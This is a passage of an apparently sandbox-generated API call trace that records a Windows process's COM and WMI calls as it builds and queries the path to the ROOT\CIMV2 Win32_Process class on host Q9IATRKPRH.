WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x2 [0141.050] WbemDefPath:IWbemPath:SetText (This=0x1bcd92e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0141.050] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.050] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.051] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.051] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.051] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0141.051] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0141.051] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.051] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0141.051] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0141.052] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.052] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.052] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.052] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.054] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5dc0) returned 0x0 [0141.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5dc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5dc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd93a0) returned 0x0 [0141.054] WbemDefPath:IUnknown:Release (This=0x1bce5dc0) returned 0x0 [0141.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd93a0) returned 0x0 [0141.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.055] WbemDefPath:IUnknown:AddRef (This=0x1bcd93a0) returned 0x3 [0141.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5e00) returned 0x0 [0141.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5e00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.055] WbemDefPath:IUnknown:Release (This=0x1bce5e00) returned 0x3 [0141.055] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.055] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.055] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x2 [0141.055] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x1 [0141.055] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.055] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd93a0) returned 0x0 [0141.055] WbemDefPath:IUnknown:AddRef (This=0x1bcd93a0) returned 0x3 [0141.055] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x2 [0141.055] WbemDefPath:IWbemPath:SetText (This=0x1bcd93a0, uMode=0x4, pszPath="") returned 0x0 [0141.055] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.056] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.056] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.056] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.057] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5dc0) returned 0x0 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5dc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.058] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5dc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9460) returned 0x0 [0141.058] WbemDefPath:IUnknown:Release (This=0x1bce5dc0) returned 0x0 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9460) returned 0x0 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.058] WbemDefPath:IUnknown:AddRef (This=0x1bcd9460) returned 0x3 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5e40) returned 0x0 [0141.058] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.058] WbemDefPath:IUnknown:Release (This=0x1bce5e40) returned 0x3 [0141.058] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.059] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.059] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x2 [0141.059] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x1 [0141.059] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.059] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9460) returned 0x0 [0141.059] WbemDefPath:IUnknown:AddRef (This=0x1bcd9460) returned 0x3 [0141.059] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x2 [0141.059] WbemDefPath:IWbemPath:SetText (This=0x1bcd9460, uMode=0x4, pszPath="") returned 0x0 [0141.059] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9460, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.059] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd93a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.059] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd9460, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0141.059] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9460, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0141.059] WbemDefPath:IWbemPath:SetServer (This=0x1bcd9460, Name="Q9IATRKPRH") returned 0x0 [0141.059] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.059] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.059] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.060] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.061] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5e60) returned 0x0 [0141.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.062] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9520) returned 0x0 [0141.062] WbemDefPath:IUnknown:Release (This=0x1bce5e60) returned 0x0 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9520) returned 0x0 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.062] WbemDefPath:IUnknown:AddRef (This=0x1bcd9520) returned 0x3 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5ea0) returned 0x0 [0141.062] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5ea0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.062] WbemDefPath:IUnknown:Release (This=0x1bce5ea0) returned 0x3 [0141.062] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.062] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.063] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x2 [0141.063] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x1 [0141.063] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.063] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9520, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9520) returned 0x0 [0141.063] WbemDefPath:IUnknown:AddRef (This=0x1bcd9520) returned 0x3 [0141.063] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x2 [0141.063] WbemDefPath:IWbemPath:SetText (This=0x1bcd9520, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9460, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0141.063] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd9460) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9520, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9520, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0141.063] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9460, uIndex=0x0, pszName="ROOT") returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9520, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9520, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0141.063] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9460, uIndex=0x1, pszName="CIMV2") returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd9460, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0141.063] WbemDefPath:IWbemPath:SetClassName (This=0x1bcd9460, Name="Win32_Process") returned 0x0 [0141.063] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9460, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9460, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9460, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9460, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0141.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: 